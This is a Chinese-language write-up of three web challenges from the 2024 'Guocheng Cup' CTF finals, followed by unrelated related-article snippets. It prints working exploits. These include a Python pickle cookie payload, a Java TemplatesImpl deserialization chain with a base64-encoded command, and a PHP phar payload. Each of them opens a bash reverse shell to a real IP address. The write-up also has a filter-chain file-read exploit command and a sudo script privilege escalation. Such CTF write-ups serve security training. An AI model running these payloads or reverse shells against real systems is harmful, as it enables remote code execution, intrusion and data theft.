【Web】2024“国城杯”网络安全挑战大赛决赛题解(全)
最近在忙联通的安全准入测试,很少有时间看CTF了,今晚抽点时间回顾下上周线下的题(期末还没开始复习😢)
感觉做渗透测试一半的时间在和甲方掰扯&水垃圾洞,没啥惊喜感,还是CTF有意思
目录
Mountain
ez_zhuawa
图片信息查看器
Mountain
扫目录
访问./display看到
提示是photo参数,/display?photo=Mountain1.png访问到图片
可以任意读文件
没法直接读环境变量
抓包看响应头,是python题
一般就去读当前运行文件
/display?photo=/proc/1/cmdline
/display?photo=/appppp/app.py
from bottle import Bottle, route, run, template, request, response
from config.D0g3_GC import Mountain
import os
import remessages = []@route("/")
def home():return template("index")@route("/hello")
def hello_world():try:session = request.get_cookie("name", secret=Mountain)if not session or session["name"] == "guest":session = {"name": "guest"}response.set_cookie("name", session, secret=Mountain)return template("guest", name=session["name"]) if session["name"] == "admin" else Noneexcept:return "hacker!!! I've caught you"@route("/display")
def get_image():photo = request.query.get('photo')if photo is None:return template('display')if re.search("^../|environ|self", photo):return "Hacker!!! I'll catch you no matter what you do!!!"requested_path = os.path.join(os.getcwd(), "picture", photo)try:if photo.endswith('.png'):default_png_path = "/appppp/picture/"pngrequested_path = default_png_path + photowith open(pngrequested_path, 'rb') as f:tfile = f.read()response.content_type = 'image/png'else:with open(requested_path) as f:tfile = f.read()except Exception as e:return "you have some errors, continue to try again"return tfile@route("/admin")
def admin():session = request.get_cookie("name", secret=Mountain)if session and session["name"] == "admin":return template("administator", messages=messages)else:return "No permission!!!!"if __name__ == "__main__":os.chdir(os.path.dirname(__file__))run(host="0.0.0.0", port=8089)
接着访问./hello
给了一段Cookie,可以看到?后面的特征很像pickle序列化数据
审计代码发现可以打pickle反序列化
先去访问/display?photo=/appppp/config/D0g3_GC.py拿到secretkey
拿恶意cookie的最简单方式就是自己起一个服务
from bottle import Bottle, route, run, template, request, response
import osMountain="M0UNTA1ND0G3GCYYDSP0EM5S20I314Y0UARE50SMAR7"
class Test:def __reduce__(self):return (eval, ("""__import__('os').system('bash -c "bash -i >& /dev/tcp/27.25.151.98/1337 0>&1"')""",))@route("/hello")
def hello_world():try:session = {"name": Test()}response.set_cookie("name", session, secret=Mountain)return "ok"except:return "hacker!!! I've caught you"if __name__ == "__main__":os.chdir(os.path.dirname(__file__))run(host="0.0.0.0", port=8089)
然后访问,拿到恶意cookie
替换后访问靶机的./admin,成功反弹shell拿flag
ez_zhuawa
题目入口,先是将data反序列化,然后使用SPeL解析并执行param表达式,表达式可以从反序列化对象中获取值(即调getter方法)
众所周知TemplatesImpl的利用链如下,直接实例化TP然后调用它的getOutputProperties方法即可
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
而题目ban了一堆东西,就是没ban TP
Evil.java
package org.example.GCCTF.exp;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;public class Exp {public static void main(String[] args) throws Exception {byte[] code=ClassPool.getDefault().get(Evil.class.getName()).toBytecode();byte[][] codes={code};TemplatesImpl templates=new TemplatesImpl();setFieldValue(templates,"_name","aaa");setFieldValue(templates,"_class",null);setFieldValue(templates,"_bytecodes",codes);byte[] result=serialize(templates);System.out.println(Base64.getEncoder().encodeToString(result));}public static byte[] serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(object);return byteArrayOutputStream.toByteArray();}public static void setFieldValue(Object obj, String field, Object val) throws Exception {Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}
}
Exp.java
package org.example.GCCTF.exp;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers)throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler) throws TransletException {}static {try {Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yNy4yNS4xNTEuOTgvMTMzNyAwPiYx}|{base64,-d}|{bash,-i}");} catch (IOException e) {throw new RuntimeException(e);}}
}
最后param传OutputProperties即可调用反序列化后的对象的getOutputProperties方法
环境变量读到flag
图片信息查看器
提示有hI3t.php
进来是一个文件上传功能和文件查询功能,一眼phar反序列化
上传图片再读取文件信息
不难想到调用了getimagesize(不想到也行,总之与文件处理相关的函数都与filterchian leak沾边)
PHP Filter链——基于oracle的文件读取攻击 - 先知社区
打filterchain读文件
用下面这个工具
https://github.com/synacktiv/php_filter_chains_oracle_exploit
python filters_chain_oracle_exploit.py --target http://125.70.243.22:31269/chal13nge.php --file '/var/www/html/hI3t.php' --parameter image_path
访问./x@1.php,发现存在一个后门类
生成恶意phar包
<?phpclass backdoor
{public $cmd;function __destruct(){$cmd = $this->cmd;system($cmd);}
}$a=new backdoor();
$a->cmd='bash -c "bash -i >& /dev/tcp/27.25.151.98/1337 0>&1"';
$phar = new Phar("gcb.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
将生成的gcb.phar改为gcb.png上传,读取
phar://uploads/gcb.png
成功弹上shell
权限不够需要提权
发现存在/tmp/rootscripts/check.sh的sudo权限
查看 /tmp/rootscripts/check.sh,发现可以任意run.sh脚本执行
写恶意sh文件
echo "cat /root/flag" > /tmp/run.sh
chmod 777 /tmp/run.sh
再sudo执行,拿到flag
sudo /tmp/rootscripts/check.sh "/tmp"
相关文章:

【Web】2024“国城杯”网络安全挑战大赛决赛题解(全)
最近在忙联通的安全准入测试,很少有时间看CTF了,今晚抽点时间回顾下上周线下的题(期末还没开始复习😢) 感觉做渗透测试一半的时间在和甲方掰扯&水垃圾洞,没啥惊喜感,还是CTF有意思 目录 Mountain ez_zhuawa 图…...
基于ceres优化的3d激光雷达开源算法
以下是一些基于CERES优化的开源激光雷达SLAM或相关算法: (1) LOAM (Lidar Odometry And Mapping) 简介: LOAM是一种经典的激光雷达里程计和建图算法,它通过提取特征点(角点和平面点),利用ICP(Iterative Cl…...
【FAQ】HarmonyOS SDK 闭源开放能力 — Vision Kit(2)
1.问题描述: 人脸活体检测返回上一页App由沉浸式变为非沉浸式多了上下安全区域。 解决方案: 检测结束后需要自己去设置沉浸式配置。 2.问题描述: Vision Kit文字识别是本地识别,还是上传至服务器,由服务器来识别文…...

【LeetCode】726、原子的数量
【LeetCode】726、原子的数量 文章目录 一、递归: 嵌套类问题1.1 递归: 嵌套类问题 二、多语言解法 一、递归: 嵌套类问题 1.1 递归: 嵌套类问题 遇到 ( 括号, 则递归计算子问题 遇到大写字母, 或遇到 ( 括号, 则清算历史, 并开始新的记录 记录由两部分组成: 大写字母开头的 …...

VMware虚拟机三种网络工作模式
vmware为我们提供了三种网络工作模式,它们分别是:Bridged(桥接模式)、NAT(网络地址转换模式)、Host-Only(仅主机模式)。 打开vmware虚拟机,我们可以在选项栏的“编辑”下的“虚拟网络编辑器”中看到VMnet0(桥接模式)、VMnet1(仅主机模式)、VMnet8(NAT模式),那…...

14-zookeeper环境搭建
0、环境 java:1.8zookeeper:3.5.6 1、下载 zookeeper下载点击这里。 2、安装 下载完成后解压,放到你想放的目录里。先看一下zookeeper的目录结构,如下图: 进入conf目录,复制zoo_sample.cfg࿰…...

[搜广推]王树森推荐系统笔记——矩阵补充最近邻查找
视频合集链接 矩阵补充(工业界不常用) 模型结构 embedding可以把 用户ID 或者 物品ID 映射成向量输入用户ID 和 物品ID,输出向量的内积(一个实数),内积越大说明用户对这个物品越感兴趣模型中的两个embed…...

Unity3D * 粒子特效 * Particle System
(基于阿发教程做的重点笔记) 粒子 用于模拟一些流动的,没有形状的物质,例如 液体,烟雾,火焰,爆炸,魔法等效果 去除粒子外框 particle system 粒子发生器,有1个主模块和22个子模块࿰…...

【基础篇】1. JasperSoft Studio编辑器与报表属性介绍
编辑器介绍 Jaspersoft Studio有一个多选项卡编辑器,其中包括三个标签:设计,源代码和预览。 Design:报表设计页面,可以图形化拖拉组件设计报表,打开报表文件的主页面Source:源代码页码ÿ…...

数据结构:算法篇:快速排序;直接插入排序
目录 快速排序 直接插入排序 改良版冒泡排序 快速排序 理解: ①从待排序元素中选定一个基准元素; ②以基准元素将数据分为两部分:(可以将:大于基准元素放左,小于基准元素放右) ③对左半部分…...

WebAPI编程(第一天,第二天)
WebAPI编程(第一天,第二天) day01 - Web APIs 1.1. Web API介绍 1.1.1 API的概念1.1.2 Web API的概念1.1.3 API 和 Web API 总结 1.2. DOM 介绍 1.2.1 什么是DOM1.2.2. DOM树 1.3. 获取元素 1.3.1. 根据ID获取1.3.2. 根据标签名获取元素1.3.…...

查看MySQL存储引擎方法,表操作
修改数据库表存储引擎 show create table dept; show table status from itpux where name s2\G; select * from information_schema.TABLES where table_schemaitpux and table_names3; 查询整个mysql里面存储引擎是innodb/myisam的表 建表时候要写好存储引擎 -- 创建表 -- 表…...
【Python教程】Python3基础篇之Number(数字)
博主介绍:✌全网粉丝21W+,CSDN博客专家、Java领域优质创作者,掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物联网、机器学习等设计与开发。 感兴趣的可…...

基于openEuler22.09部署OpenStack Yoga云平台(一)
OpenStack Yoga部署 安装OpenStack 一、基础准备 基于OpenStack经典的三节点环境进行部署,三个节点分别是控制节点(controller)、计算节点(compute)、存储节点(storage),其中存储…...

I.MX6U 启动方式详解
一、启动方式选择 BOOT 的处理过程是发生在 I.MX6U 芯片上电以后,芯片会根据 BOOT_MODE[1:0]的设置 来选择 BOOT 方式。 BOOT_MODE[1:0]的值是可以改变的,有两种方式,一种是改写 eFUSE(熔 丝),一种是修改相应的 GPIO 高低电平。第一种修改 eFUSE 的方式只能修改一次,后面就…...

施耐德变频器ATV320系列技术优势:创新与安全并重
在工业自动化领域,追求高效、安全与智能已成为不可阻挡的趋势。施耐德变频器ATV320系列凭借其强大的设计标准和全球认证,成为能够帮助企业降低安装成本,提高设备性能的创新解决方案。 【全球认证,品质保障】ATV320 系列秉持施耐德…...

系统思考—全局思维
昨天接到一个企业需求,某互联网公司VP希望N-1的核心团队一起学习系统思考,特别是在新业务快速发展的阶段。公司增长势头不错,但如何解决跨部门的协作问题,成为了瓶颈。全局思维就是关键。产品、技术、市场、运营、客服……如何打破…...
Windows如何切换用户访问局域网共享文件夹,如何切换网上邻居的账户
Windows如何切换用户访问局域网共享文件夹,如何切换网上邻居的账户 查看共享连接 使用net use命令可以查看当前已经建立的共享连接。net use删除共享连接 使用net use * /del 或net use * /delete命令可以删除所有当前的共享连接。net use * /delnet use * /delete如果只想删除…...

如何在谷歌浏览器中启用语音搜索
想象一下,你正在拥挤的地铁上,双手都拿着沉重的购物袋,突然你想搜索附近的咖啡馆。此时如果你能通过语音而不是打字来进行搜索,那将多么的便利!在谷歌浏览器中,启用语音搜索功能就是这么简单而高效…...

HarmonyOS NEXT 技术实践-基于基础视觉服务实现骨骼点识别
本示例展示了如何在HarmonyOS Next中实现基于基础视觉服务的骨骼点识别功能。骨骼点识别是计算机视觉中的一项重要技术,广泛应用于运动分析、健身监控和增强现实等领域。通过使用HarmonyOS Next提供的视觉API,开发者能够轻松地对人物图像进行骨骼点检测&…...
ES6从入门到精通:前言
ES6简介 ES6(ECMAScript 2015)是JavaScript语言的重大更新,引入了许多新特性,包括语法糖、新数据类型、模块化支持等,显著提升了开发效率和代码可维护性。 核心知识点概览 变量声明 let 和 const 取代 var…...
React Native 开发环境搭建(全平台详解)
React Native 开发环境搭建(全平台详解) 在开始使用 React Native 开发移动应用之前,正确设置开发环境是至关重要的一步。本文将为你提供一份全面的指南,涵盖 macOS 和 Windows 平台的配置步骤,如何在 Android 和 iOS…...

23-Oracle 23 ai 区块链表(Blockchain Table)
小伙伴有没有在金融强合规的领域中遇见,必须要保持数据不可变,管理员都无法修改和留痕的要求。比如医疗的电子病历中,影像检查检验结果不可篡改行的,药品追溯过程中数据只可插入无法删除的特性需求;登录日志、修改日志…...
AtCoder 第409场初级竞赛 A~E题解
A Conflict 【题目链接】 原题链接:A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串,只有在同时为 o 时输出 Yes 并结束程序,否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...
JVM垃圾回收机制全解析
Java虚拟机(JVM)中的垃圾收集器(Garbage Collector,简称GC)是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象,从而释放内存空间,避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...
linux 下常用变更-8
1、删除普通用户 查询用户初始UID和GIDls -l /home/ ###家目录中查看UID cat /etc/group ###此文件查看GID删除用户1.编辑文件 /etc/passwd 找到对应的行,YW343:x:0:0::/home/YW343:/bin/bash 2.将标红的位置修改为用户对应初始UID和GID: YW3…...
css的定位(position)详解:相对定位 绝对定位 固定定位
在 CSS 中,元素的定位通过 position 属性控制,共有 5 种定位模式:static(静态定位)、relative(相对定位)、absolute(绝对定位)、fixed(固定定位)和…...
什么?连接服务器也能可视化显示界面?:基于X11 Forwarding + CentOS + MobaXterm实战指南
文章目录 什么是X11?环境准备实战步骤1️⃣ 服务器端配置(CentOS)2️⃣ 客户端配置(MobaXterm)3️⃣ 验证X11 Forwarding4️⃣ 运行自定义GUI程序(Python示例)5️⃣ 成功效果 核心…...

Docker 本地安装 mysql 数据库
Docker: Accelerated Container Application Development 下载对应操作系统版本的 docker ;并安装。 基础操作不再赘述。 打开 macOS 终端,开始 docker 安装mysql之旅 第一步 docker search mysql 》〉docker search mysql NAME DE…...